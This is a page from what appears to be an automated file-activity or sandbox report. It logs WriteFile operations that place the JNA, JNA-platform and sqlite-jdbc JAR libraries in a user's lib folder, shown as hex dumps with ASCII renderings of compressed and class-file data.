6d 2e 6f 46 7c 0e c8 
db 10 af df ce e5 6b 
10 5f 04 f2 75 58 7e 
07 97 af 47 7c 29 c8 
bb 70 7e 77 72 f9 46 
c4 93 40 be 15 e7 b7 
89 cb 7b 10 1f 0b f2 
5e 9c df f7 b8 bc 0f f1 
09 20 df 89 ed df 05 
6d db 77 c1 fc 0e 90 
57 23 ee 6d e6 f2 89 
88 df 04 f2 c9 88 6b 
77 73 79 2d e2 e9 20 
af 47 dc dc c2 e5 45 
c4 67 82 7c 0e e2 ae 
56 2e 6f 42 bc 04 e4 
cd 88 fb f7 70 f9 0a c4 
cb 5a a0 1d 40 5c ff 
21 97 77 22 fe af 7f 40 
7d 47 dc f6 11 97 6f 
40 bc 1c ec 69 44 dc 
fd 31 97 77 23 be 0e 
e4 3d 88 0b 
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 00 27 00 00 00 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 53 74 72 75 
63 74 75 72 65 24 42 
79 52 65 66 65 72 65 
6e 63 65 2e 63 6c 61 
73 73 3b f5 6f d7 3e 
06 06 06 23 06 6e 76 
06 36 76 06 4e 46 06 
ae e0 fc d2 a2 e4 54 
b7 cc 9c 54 46 06 be 
e0 92 a2 d2 e4 92 d2 
a2 54 bd ac c4 b2 44 
76 06 2e 46 06 c5 e4 
fc 5c fd e2 d2 3c fd ac 
bc 44 7d b8 bc 8a 53 
65 50 6a 5a 6a 51 6a 
5e 32 50 1f 37 0a 8f 
c7 33 2f 2f b5 c8 39 
27 b1 b8 38 b5 98 91 
41 00 64 94 7e 4e 62 
5e ba be 7f 52 56 6a 
72 09 23 83 28 56 33 
d9 18 19 18 19 98 18 
20 80 89 81 19 4c b2 
30 70 00 69 2e 06 90 
1c 2b 03 3b 1b 27 00 
50 4b 03 04 0a 00 00 
08 08 00 8b 8c 5e 4f ff 
54 c4 5c 8e 00 00 00 
bb 00 00 00 23 00 00 
00 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 53 
74 72 75 63 74 75 72 
65 24 42 79 56 61 6c 
75 65 2e 63 6c 61 73 
73 

.'...com/sun/jna/Structure$
ByR
eference.class;.o.>...#.nv.6
v.NF.......T...TF..........T....
Dv..F....\...<...D}...SePjZjQj
^2P.7...3//..9'..8...A.d.~Nb^
...RVjr.#.(V3....... ....L.0p.i
....+.;.'.PK..........^O.T.\..
......#...com/sun/jna/Structu
re$ByValue.class
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 2a b3 57 65 2e ab cc 
1e 95 b9 a2 32 13 2a 
73 55 65 76 ab cc 8a 
ca ec 52 99 6b 2a 93 
5d 33 f9 0d aa c6 f7 
68 1d 77 79 66 f9 68 
1e af b0 80 24 bf ea f3 
c8 43 ff 0d 50 4b 03 
04 0a 00 00 08 08 00 
8b 8c 5e 4f d6 e4 b7 
14 99 01 00 00 92 02 
00 00 2a 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 53 74 72 75 
63 74 75 72 65 24 46 
46 49 54 79 70 65 24 
73 69 7a 65 5f 74 2e 
63 6c 61 73 73 8d 91 
cb 6e d3 40 14 86 ff 
93 9b eb c4 4d 2f f4 
02 81 f4 02 a1 0d 5d 
34 88 2d d0 4d 20 92 
a3 a8 9b a4 59 74 13 
4d c3 08 a6 4a c7 95 
67 1c 09 76 ed 1b b5 
9b 4a 2c 78 00 1e 0a 
71 c6 b1 aa 08 55 a8 
96 ec 73 ce ef ff 7c 67 
2e bf ff fc fc 05 e0 1d 
f6 cb 28 a0 e6 e3 39 
5e 94 51 44 dd c3 96 
87 6d c2 b2 91 b1 12 
93 a1 8c 8d 8a f4 49 
f8 89 40 5d c2 62 3b 
d2 c6 0a 6d 87 62 92 
c8 22 66 0f 11 4a 

*.We.......2.*sUev.....R.k*.]3
.....h.wyf.h....$....C..PK....
......^O............*...com/su
n/jna/Structure$FFIType$s
ize_t
.class...n.@.......M/.......]4.-
.M .....Yt.M...J..g..v....J,
x...q....U...s...|g..........(
...9^.QD....m...........I..@].
b;...m.b.."f..J
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 44 65 66 01 00 04 67 
65 74 58 01 00 04 67 
65 74 59 01 00 0a 61 
63 63 65 73 73 24 34 
30 30 01 00 6f 28 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 57 33 32 
57 69 6e 64 6f 77 55 
74 69 6c 73 3b 4c 6a 
61 76 61 2f 61 77 74 
2f 43 6f 6d 70 6f 6e 65 
6e 74 3b 29 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 77 69 
6e 33 32 2f 57 69 6e 
44 65 66 24 48 57 4e 
44 3b 01 00 0a 61 63 
63 65 73 73 24 37 30 
30 01 00 45 28 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 57 33 32 57 
69 6e 64 6f 77 55 74 
69 6c 73 3b 4c 6a 61 
76 61 2f 61 77 74 2f 
57 69 6e 64 6f 77 3b 
29 42 01 00 1a 47 65 
74 4c 61 79 65 72 65 
64 57 69 6e 64 6f 77 
41 74 74 72 69 62 75 

Def...getX...getY...access$
400
..o(Lcom/sun/jna/platform/
Wind
owUtils$W32WindowUtils;
Ljava/a
wt/Component;)Lcom/sun/j
na/pla
tform/win32/WinDef$HWN
D;...acc
ess$700..E(Lcom/sun/jna/
platfo
rm/WindowUtils$W32Wind
owUtils;
Ljava/awt/Window;)B...Get
LayeredWindowAttribu
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 00 00 02 00 5b 00 
5c 00 00 00 02 00 5d 
00 5e 00 00 10 10 00 
5f 00 62 00 00 00 05 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 ef 42 fc 35 a9 fd c7 f6 
1c 86 f6 1f f1 b7 a5 f6 
1f eb ff 1e da 7f c4 77 
49 ed 3f e2 42 3b b4 ff 
88 7f 28 b5 ff 47 51 79 
fd 04 ed 3f e2 fb a4 f6 
1f f1 ec 5f a0 fd 47 fc 
4b a9 fd 47 5c f8 1d 
da 7f c4 bf 91 da 7f 6c 
cf 29 68 ff 11 3f 2c b5 
ff 88 6b ce 42 fb 8f 78 
87 d4 fe 23 ee 0c 40 
fb 8f b8 09 56 d0 39 
11 ff 15 f4 d4 47 d0 d3 
80 ed 57 70 3d 2e c4 
cf ec 80 78 40 dc 0d 
f2 ad 88 eb a3 39 f7 
60 3d 52 bf 10 41 8f 0f 
71 6d 0c e7 7e c4 15 
15 d0 3e 7c 1f 5e 8f 
12 71 1b e8 51 23 ae 
06 3d 9a 08 7a 92 11 
f7 80 1e 2d e2 2b ef 
84 fe 02 eb 5f ca e5 
45 c4 cd 20 9f 83 b8 
b0 8c cb 9b 10 5f 0f f2 
66 c4 5d 05 5c be 22 
82 7c 4d 04 79 27 e2 
b5 20 5f 8f ed 59 ce 
e5 1b 10 7f 1c e4 1b 
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e1 8a d7 84 c6 63 c6 
10 36 e7 6d a1 b6 f2 
2b 6f 95 0d 1e f6 08 f5 
ff 32 f8 30 e6 ff 1f 0b 
ab a6 2c 56 fa e1 e9 
e7 d1 60 e4 02 1f 7a 
c8 5b 68 86 e9 56 d6 
1f c4 61 97 6f d0 dd 
04 a1 86 12 3c 8e 0b 
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9e 92 e7 e8 1f dc 22 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 7b 11 d7 8e e3 dc 87 
f9 d5 9c fb 71 be 80 
77 e2 7c 01 57 fe 84 
fc 73 8c fb 59 1d 81 
27 22 ee ea e0 5c 83 
b8 e6 27 ce 93 23 70 
2d d6 0f 3c 15 71 3f 
70 3d e2 c2 71 ce 45 
c4 bd bf 70 9e 8d b9 
1f e2 1c eb f9 15 e2 
1c 71 0f 70 37 e2 c7 
1e 82 79 25 e2 f1 0f 
c3 f3 07 c4 17 02 6f 
43 bc 1c b8 17 71 27 
70 1f e2 2f 01 f7 23 de 
02 bc 13 e7 17 b8 f0 
73 30 ef 04 ae 44 7c 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 cf 03 ee 46 fc d1 af 21 
4e 10 bf e2 ef 10 0f 88 
e7 82 1e 3f e2 77 00 
57 fe 82 fa 97 bd fc 48 
8d b8 09 78 22 e2 5e 
e0 1a c4 6d 9f f0 a3 
64 ac c7 c3 8f f4 58 fe 
34 3f 12 11 77 9e e3 
47 d9 88 ab ff e4 47 
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f3 fc a8 02 71 e9 cb 
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73 ee c6 7a 06 72 de 
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f3 54 c4 dd 83 39 d7 
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9c 9b 10 d7 bc c2 7f 
38 52 84 f5 bf ca b9 
19 cb ef e6 bc 02 71 
5b 0b e7 36 c4 bd 7b 
38 af 41 dc f4 01 e7 
4e 2c 0f bc 0e 71 f3 
27 9c d7 63 ff 00 6f 40 
dc 09 dc 85 fd f0 21 
e7 8d d8 1e e0 6e 7c 
5f e0 ad d8 cf f3 60 bd 
07 f6 cf 7c 78 ef 8f b8 
6b 0e bc ff 45 dc 03 
dc 87 b8 7e 2b ac 07 
c0 e5 02 

...F...!N..........?.w.W......
H...x".^...m...d.....X.4?..w..
G.....G9..........q..........s
'..........p........7...k.s..z
.r.......?.s...9..T...9.#^....
.v...X.e.......8R...........q[..6..
{8.A....N,...q.'..c..o@..
....!.....n|_.....`....|x...k.
..E.....~+.....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 75 82 ad 17 b0 41 c0 
05 02 5a 04 6c 14 b0 
49 c0 85 02 2e 12 70 
31 03 dc 81 bb 08 45 
a7 74 88 81 9b f0 15 
03 37 e0 cb 06 6e 14 
ec ab f8 9a 41 9b e9 
12 2e 93 e4 83 eb a4 
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ed d4 c1 25 6a 70 c9 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 14 ff 98 43 5c b9 10 cf 
86 72 69 c4 7e 03 3f 
b4 62 3d d0 5f 7b b0 
1e 18 0f b7 e1 72 29 
84 f1 3c d6 0f ed a1 0f 
97 cb 44 98 cf 62 79 
e0 9d 98 c3 38 4d 38 
89 f8 4b d0 ce 23 ee 
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b4 17 da 79 ac 1f c6 
3f 3e ac 1f ec f4 23 5e 
0f f5 b1 13 fb 0d e6 9b 
c2 29 54 ef 66 42 fc 
23 ae 86 78 56 23 6e 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 fc b0 28 8d 3f 43 96 
a7 f3 f3 1d fa 9f c0 d4 
ae 93 d0 95 96 e8 fd 
16 ac 4f ea c0 29 fd 7f 
96 d9 ff 1d d1 80 8f 8d 
77 c8 5f 38 38 17 36 
54 af 5a 66 25 3a 8a 
91 cb ff 00 8d 31 32 
16 82 f0 25 de d9 70 
15 ef af 4e db 5f 93 b4 
bf 96 f7 3c 55 f2 fe 3a 
73 7f 3d 63 3c 90 33 
4e 32 93 9b eb 4d 89 
95 c7 73 5e b3 e0 91 
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c6 c6 6b a0 b4 07 b6 
3a 6f 1f ec 3d 70 ec 
43 13 63 4e 13 ab 65 
cc 65 62 4b 19 53 26 
36 97 31 6d 62 5e c6 
dc 26 36 91 31 8f 89 
8d 62 2c cb c4 b2 19 
33 18 db 0b e5 38 00 
87 fd 11 56 64 c7 37 
18 96 b3 19 50 77 c3 
a9 ee 41 ae ba 17 63 
d4 7e 94 a8 fb 50 ae 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 18 02 32 00 4e 00 9e 
00 9f 00 19 00 00 02 
d3 00 68 00 6a 00 00 
00 00 02 d3 00 a0 00 
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00 80 00 06 00 1b 02 
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32 02 a1 00 ad 00 80 
00 0a 00 38 02 9b 00 
ae 00 80 00 0b 00 3e 
02 95 00 af 00 80 00 
0c 00 48 02 8b 00 b0 
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07 00 b8 07 00 72 07 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 d4 0b 01 b8 01 d5 0a 
00 b7 01 d6 0b 01 b8 
01 d7 07 01 d8 0a 00 
4e 01 d9 0a 01 da 01 
db 0b 01 b8 01 dc 07 
01 dd 0a 00 52 01 90 
09 01 de 01 df 07 01 
e0 07 01 e1 0a 00 56 
01 e3 07 01 e4 0a 00 
58 01 e3 0b 01 de 01 
e6 0a 00 5e 01 d4 05 
00 00 00 00 00 00 00 
02 07 01 e7 0b 01 de 
01 e8 0a 01 e9 01 d4 
0a 00 5e 01 e3 0a 00 
52 01 ea 0a 01 eb 01 
ec 07 01 ed 07 01 ee 
0a 01 eb 01 ef 0a 00 
65 01 e3 0a 00 64 01 
f0 0a 00 b7 01 f1 09 
00 87 01 f2 09 00 87 
01 f3 07 01 f4 0a 00 
6c 01 e3 07 01 f5 0a 
00 6e 01 90 07 01 f6 
0a 00 70 01 90 09 00 
6e 01 f7 09 00 70 01 
f8 09 00 70 01 f9 09 
00 70 01 fa 09 00 70 
01 fb 09 00 70 01 fc 
0a 00 70 01 fd 0a 00 
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 ef 31 49 fd 01 a5 ea 
c3 24 ab bc d8 67 5a 
25 d8 9d 8c 59 46 dc 
95 30 e2 1c e6 21 b1 
72 d0 88 41 25 c3 f8 
da 50 1f 25 94 7c 64 
0a 35 2c f6 84 50 11 
75 b7 25 ca f6 1e 3b 
c7 cd a4 e8 a0 28 af 
a3 0f 23 bc cf 63 e4 
5e 32 a8 c1 3e cf 61 
9f e7 f4 f6 60 d4 21 8c 
26 1c 42 21 a1 d2 55 
e8 3a 84 31 c4 5e 69 
16 6c 2c e1 39 8c ab 
54 de 42 ce a6 a2 4a 
5d a8 fb 30 7e 2f 5c 
8e 79 ce b2 57 50 32 
c2 51 a8 9e c2 84 fb 
30 26 81 ed c7 98 fc 
62 c1 26 f6 60 d2 5e 
64 17 ea 06 93 3e cf 
71 e0 c4 43 7d 98 bc 
0f d1 3e 94 ec 85 bb 
0f 67 ed 13 38 65 2f 
2e 19 e1 dc 8b 4d 65 
7d 98 ca 4a 0f 23 b7 
a5 ac 17 d3 1a ca d8 
f5 3d 98 ce b9 36 b6 
ac 1b a5 9c c4 87 e0 
b5 b1 35 b9 56 0c 0e 
a0 24 c1 92 ab f7 63 
b4 c5 e3 49 e5 29 eb 
c1 0c e7 b3 28 6b b1 
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8b a8 11 75 ba 09 8d 
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84 3e 7d 11 5e d6 17 
e3 0d bd 19 6f 6b 1f 
7e ab b7 70 fb f3 e3 
b8 0e 90 43 b7 51 8e 
ee a0 b1 3a 48 c5 fa 
52 5a a4 43 66 be 34 
72 5a e6 71 11 3f 87 
e7 39 bb 5e 66 5c 9a 
9d 13 ef 63 34 5e c0 
8b dc ba 72 06 68 33 
29 0b 2f 31 e6 90 dc 
49 64 98 60 2f 73 a9 
f2 d7 1b 9d 83 57 f0 
2a e7 d8 40 59 9a bf 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 04 ee 43 fc 72 a8 2f 
7e c4 a7 80 7c 27 e2 
19 c0 85 98 60 7e 33 
70 25 e2 4b 80 ab 11 
5f 0a 3c 11 f1 12 e0 
1a c4 ef 04 9e 8c f8 
bd c0 b5 88 3f 00 3c 
15 f1 27 80 eb 11 7f 
11 b8 88 f8 7f 80 67 
23 fe 2e f0 1c c4 77 
49 e3 1f c4 3f 06 5e 
84 f8 7e e0 66 c4 bd 
52 fc 23 de 0e dc 86 
f8 af 52 fc 23 7e 06 b8 
13 71 05 94 7b 1d e2 
7d 80 d7 23 3e 00 78 
03 e2 97 01 77 21 3e 
0a 78 23 e2 63 81 bb 
11 4f 01 de 8a f8 24 
e0 1e c4 a7 01 6f 43 
3c 53 6a ff 11 5f 08 dc 
87 f8 6d c0 3b 11 f7 
c3 77 6e 85 9e a8 df 
3f cb b9 12 71 e1 4f 
ce d5 88 7b 81 27 22 
ee 3a cf b9 06 f3 00 
e7 c9 88 ab e1 5f 38 
d2 62 79 e0 a9 58 5e 
01 71 8e b8 1e b8 88 
b8 2d 06 e2 1c 71 27 
70 13 f6 03 f0 22 c4 
cd 4a 88 67 c4 dd c0 
2b b0 df 7a 43 3c 23 
6e 02 ee 44 5c 0b df 
25 ae 8b 50 2e f5 11 
ca a5 21 42 b9 b8 22 
94 

..C.r./~...|'.....`~3p%.K..._.
<...............?.<..'........
..g#.....wI...?.^..~.f..R.#...
...R.#~...q..{..}..#>.x....w!>
.x#.c...O....$.....oC<Sj.._...
.m.;...wn....?...q.O...{.'".:.
........._8.by..X^.q......-...
q'p...."..J.g...+..zC<#n..D\..
%..P.....!B..".

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 77 69 6e 33 
32 2f 57 69 6e 44 65 
66 24 48 52 47 4e 3b 
29 56 01 00 04 68 72 
67 6e 01 00 28 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 77 69 
6e 33 32 2f 57 69 6e 
44 65 66 24 48 52 47 
4e 3b 01 00 07 73 65 
74 4d 61 73 6b 01 00 
2b 28 4c 6a 61 76 61 
2f 61 77 74 2f 43 6f 
6d 70 6f 6e 65 6e 74 
3b 4c 6a 61 76 61 2f 
61 77 74 2f 67 65 6f 
6d 2f 41 72 65 61 3b 
29 56 01 00 04 74 79 
70 65 01 00 01 49 01 
00 01 69 01 00 04 61 
72 65 61 01 00 14 4c 
6a 61 76 61 2f 61 77 
74 2f 67 65 6f 6d 2f 41 
72 65 61 3b 01 00 03 
67 64 69 01 00 22 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 47 44 
49 33 32 3b 01 00 02 
70 69 01 00 1c 4c 6a 
61 76 61 2f 61 77 74 
2f 67 65 6f 6d 2f 50 

sun/jna/platform/win32/Win
Def$HRGN;)V...hrgn..
(Lcom/sun/jna/
platform/win32/WinDef$HR
GN;...setMask..+
(Ljava/awt/Component
;Ljava/awt/geom/Area;)V...
type
...I...i...area...Ljava/awt/ge
om/Area;...gdi.."Lcom/sun/j
na/
platform/win32/GDI32;...pi.
..Ljava/awt/geom/P
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File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 379 of 706



C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 bc 72 20 92 6f e5 f2 
89 88 c7 c2 78 5b 1f 
41 3e 1b f1 01 20 5f 
11 41 be 06 f1 3e 20 
ef 42 5c bf 07 d6 45 
23 3e 14 e4 7d 11 e4 
3b 23 c8 6b 12 c2 cb 
6b 11 1f 05 f2 39 11 
e4 8b 22 c8 3b 23 c8 
d7 23 3e 0c e4 5b 23 
c8 b7 45 90 17 06 a1 
7a b7 97 cb ab 11 1f 
0b f2 62 04 6e 46 5c ff 
09 ac 9f 47 dc ec 81 f5 
f3 11 f4 34 44 b0 a7 
11 f1 f1 20 ef 8f c0 13 
07 87 b7 47 33 38 bc 
3d c9 83 c3 eb c9 46 
5c f3 29 fc be 00 f1 14 
90 af 41 dc 05 f2 75 
88 df 03 df 93 77 23 
2e 7c 06 df 65 42 3c 
15 f4 77 22 6e fa 9c 
cb 2b 13 83 f9 4d 20 
af 45 dc f6 05 fc fe 02 
f1 0c 90 2f 42 dc f9 25 
94 23 e2 59 d2 bf 5b 
84 b8 f0 35 fc 1e 01 f1 
5b 40 be 0d 71 cf 01 
2e ef 43 7c 01 c8 ab 
87 84 97 d7 0c 09 2f 
2f 22 ee 3e 04 bf 13 
41 fc 36 90 b7 21 6e 
f3 c2 ef 35 10 5f 0a f2 
8d 88 6b be 83 ef 6b 
21 5e 

.r .o......x[.A>... _.A...> .B
\...E#>..}..;#.k...k....9...".
;#..#>..[#..E....z........b.nF
\....G.......4D..... .......G3
8.=.....F\.).......A...u.....w
#.|..eB<..w"n...+...M .E......
.../B..%.#.Y..[...5....[@..q..
..C|.........//".>...A.6..!n..
.5._....k...k!^

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 b4 ff 58 8f d4 fe 63 fb 
41 be 13 f1 56 a9 fd bf 
02 d5 17 90 d7 22 fe 
9e d4 fe 23 ee 06 f9 
22 c4 f7 4a ff 0e 08 e2 
d9 bf 43 fb 8f b8 47 6a 
ff b1 3d 27 a0 fd 47 fc 
2b a9 fd 1f 1a 5e 5e 
3d 34 bc 7c 2a e2 da 
d3 d0 9e 20 ee 3d 03 
bf e7 c2 5c ea 2f 22 
e8 a9 40 dc 7d 16 fa 
0b c4 8f 4a fd 45 04 
3d 2e cc cf 41 3f 82 f8 
8f a0 c7 8b b8 0b e4 
7d 88 0b 7f 72 ee 47 
bc 05 7e 17 90 38 2c 
bc 1e cd b0 f0 7a 92 
87 85 d7 93 8d b8 09 
e4 73 10 d7 07 a0 3f 
42 fc b8 d4 1f 45 d0 
e3 8c a0 a7 2e 82 1e 
17 e2 e9 13 a1 ff 42 
5c 2b f4 66 7b 0f e2 
d2 fa 6d 1f e2 22 e8 
e9 8c a0 47 39 3c 98 
4b eb bd 35 c3 c3 eb 
d1 0e 0f af 47 1f 41 4f 
05 e2 c2 3f 21 bf 11 
78 1b e2 52 7b e8 8b 
20 9f a8 41 e3 99 28 
6e 4f 32 e2 b1 20 9f 
8d b8 0d e4 4d 88 67 
82 7c 0d e2 a6 18 2e 
5f 87 f8 78 90 77 23 
ee ee 09 

..X...c.A...V........"....#...
"..J......C...Gj..='..G.+....^
^=4.|*..... .=....\./"..@.}...
..J.E.=...A?.........}...r.G..
~..8,.....z.........s....?B...
.E..............B\+.f{....m.."
....G9<.K..5.......G.AO...?!..
x..R{.. ..A..(nO2.. .....M.g.|
....._..x.w#...
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6f 01 00 08 49 43 4f 
4e 49 4e 46 4f 01 00 
2c 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 77 69 6e 33 32 
2f 57 69 6e 47 44 49 
24 49 43 4f 4e 49 4e 
46 4f 3b 01 00 05 69 
6d 61 67 65 01 00 1e 
4c 6a 61 76 61 2f 61 
77 74 2f 69 6d 61 67 
65 2f 42 75 66 66 65 
72 65 64 49 6d 61 67 
65 3b 01 00 01 78 01 
00 01 79 07 01 dd 07 
01 e7 07 01 ed 07 02 
0a 07 01 92 07 01 30 
07 01 ee 07 01 f5 07 
01 f6 07 02 42 07 01 ff 
07 02 06 01 00 0b 67 
65 74 49 63 6f 6e 53 
69 7a 65 01 00 3f 28 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 77 69 6e 33 32 2f 
57 69 6e 44 65 66 24 
48 49 43 4f 4e 3b 29 
4c 6a 61 76 61 2f 61 
77 74 2f 44 69 6d 65 
6e 73 69 6f 6e 3b 01 
00 0d 6e 57 72 69 74 
74 65 6e 42 79 74 65 
73 01 00 03 62 6d 70 
01 00 06 42 49 54 4d 
41 50 

o...ICONINFO..,Lcom/sun/j
na/pl
atform/win32/WinGDI$ICO
NINFO;.
..image...Ljava/awt/image/
Buff
eredImage;...x...y............
.....0...........B.........get
IconSize..?
(Lcom/sun/jna/platf
orm/win32/WinDef$HICON
;)Ljava/
awt/Dimension;...nWritten
Bytes...bmp...BITMAP

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 79 56 69 73 69 62 6c 
65 57 69 6e 64 6f 77 
73 01 00 0a 6c 70 45 
6e 75 6d 46 75 6e 63 
07 02 43 01 00 0b 57 
4e 44 45 4e 55 4d 50 
52 4f 43 01 00 30 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 55 73 65 72 24 57 
4e 44 45 4e 55 4d 50 
52 4f 43 3b 01 00 36 
4c 6a 61 76 61 2f 75 
74 69 6c 2f 4c 69 73 
74 3c 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 44 65 73 6b 
74 6f 70 57 69 6e 64 
6f 77 3b 3e 3b 07 02 
43 01 00 09 53 69 67 
6e 61 74 75 72 65 01 
00 39 28 5a 29 4c 6a 
61 76 61 2f 75 74 69 
6c 2f 4c 69 73 74 3c 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 44 65 73 6b 74 6f 
70 57 69 6e 64 6f 77 
3b 3e 3b 01 00 0e 67 
65 74 57 69 6e 64 6f 
77 54 69 74 6c 65 01 
00 3c 28 4c 63 6f 6d 
2f 73 

yVisibleWindows...lpEnum
Func..
C...WNDENUMPROC..0Lc
om/sun/jna
/platform/win32/WinUser$
WNDENU
MPROC;..6Ljava/util/List<L
com/
sun/jna/platform/DesktopW
indow
;>;..C...Signature..9(Z)Ljav
a/
util/List<Lcom/sun/jna/platf
or
m/DesktopWindow;>;...get
WindowTitle..<(Lcom/s
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 31 2d e2 5f 83 c0 02 
c9 2c e2 80 d1 44 c2 
f8 80 b4 e1 a2 48 3e 
33 4c c1 75 cc 07 85 
e9 24 51 39 1e 95 2b 
fd 44 e2 f5 01 fa 8a df 
90 ec c0 c8 a5 48 10 
8e 77 90 ce 65 42 1c 
d3 b8 3f c4 66 07 67 
72 59 c2 1d 0c 7c 39 
6c 9d d4 a5 0c d5 d5 
b2 14 b5 8c e1 56 20 
17 30 17 ed 6a 90 26 
b9 01 f3 2f 50 4b 03 
04 0a 00 00 08 08 00 
8b 8c 5e 4f bd ed ba 
ef 02 05 00 00 c1 09 
00 00 28 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 53 74 72 75 
63 74 75 72 65 24 53 
74 72 75 63 74 75 72 
65 53 65 74 2e 63 6c 
61 73 73 85 55 6d 6f 
14 55 14 7e ee 9d dd 
ce ee 76 28 db 96 16 
84 85 96 96 d2 7d 69 
59 29 62 85 b6 58 68 
41 ab cb 9b 8b 55 8a 
0a d3 dd 11 06 b7 33 
b8 3b 4b c0 cf fe 09 5f 
50 43 a2 7c e1 03 26 
42 d1 44 62 a2 89 89 
bf c3 0f 1a 5f 62 4c 4c 
0c a9 e8 73 67 a7 db 
a5 6c f1 c3 de 7b 

1-._....,...D......H>3L.u....$
Q9..+.D...........H..w..eB...?
.f.grY...|9l...........V .0..j
.&.../PK..........^O............
(...com/sun/jna/Structure$
St
ructureSet.class.Umo.U.~..
...v(........}iY)b..XhA....U......
.3.;K...._PC.|..&B.Db......._
bLL...sg...l...{

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 65 0f 22 b2 17 eb e5 
76 6c 95 fd 0d 95 1f 
0c b8 44 38 aa 3b 56 
4b 5b 44 b5 ca 56 9d 
fc f6 fb dd 3f 16 3f c8 
16 5c 4e da 9e a0 c3 
a3 7e d2 ee 60 fd ea 
2b d2 f8 8e 44 03 00 
2d 08 35 ce 8b ab e6 
03 4c 98 7a 9c f8 20 
72 6f 2b 22 ff 01 50 4b 
03 04 0a 00 00 08 08 
00 8b 8c 5e 4f eb d0 
90 91 ab 45 00 00 e4 
97 00 00 1b 00 00 00 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 53 74 72 
75 63 74 75 72 65 2e 
63 6c 61 73 73 a5 7d 
09 60 14 d5 f9 f8 f7 8e 
d9 99 6c 26 09 d9 10 
c8 92 04 16 e4 08 bb 
09 47 b8 03 72 1f 06 
92 80 84 43 40 85 25 
59 20 1a b2 98 4d 40 
bc 4f bc aa d6 ab 15 
bc 6d 25 ad a2 05 94 
10 8a 67 55 bc ef 5a 
8f 7a d4 d6 ab d5 7a 
b5 f5 40 84 ff f7 bd 99 
9d 9d 4d 76 01 7f ff 
d6 cc bc 79 f3 8e ef 
7d ef bb df 37 cb b3 
07 ff f8 30 00 94 6b 22 
03 04 ff 97 17 2f 9f e9 
fc 73 ba 

e."....vl.......D8.;VK[D..V...
..?.?..\N.....~..`..+...D..-.5
.....L.z.. ro+"..PK..........^
O.....E..........com/sun/jna/S
tructure.class.}.`........l&..
.........G..r.....C@.%Y 
...M@.
O......m%......gU..Z.z....z..
@.......Mv......y...}...7.....0
..k"...../...s.
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 02 51 02 52 0c 02 53 
02 54 01 00 11 74 72 
61 6e 73 70 61 72 65 
6e 74 2d 61 6c 70 68 
61 0c 02 55 02 56 01 
00 0e 6a 61 76 61 2f 
6c 61 6e 67 2f 42 79 
74 65 0c 02 57 02 58 
0c 00 cb 00 cc 01 00 
27 6a 61 76 61 2f 6c 
61 6e 67 2f 55 6e 73 
75 70 70 6f 72 74 65 
64 4f 70 65 72 61 74 
69 6f 6e 45 78 63 65 
70 74 69 6f 6e 01 00 
39 53 65 74 20 73 75 
6e 2e 6a 61 76 61 32 
64 2e 6e 6f 64 64 72 
61 77 3d 74 72 75 65 
20 74 6f 20 65 6e 61 
62 6c 65 20 74 72 61 
6e 73 70 61 72 65 6e 
74 20 77 69 6e 64 6f 
77 73 0c 00 bd 02 59 
01 00 31 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 57 69 6e 64 
6f 77 55 74 69 6c 73 
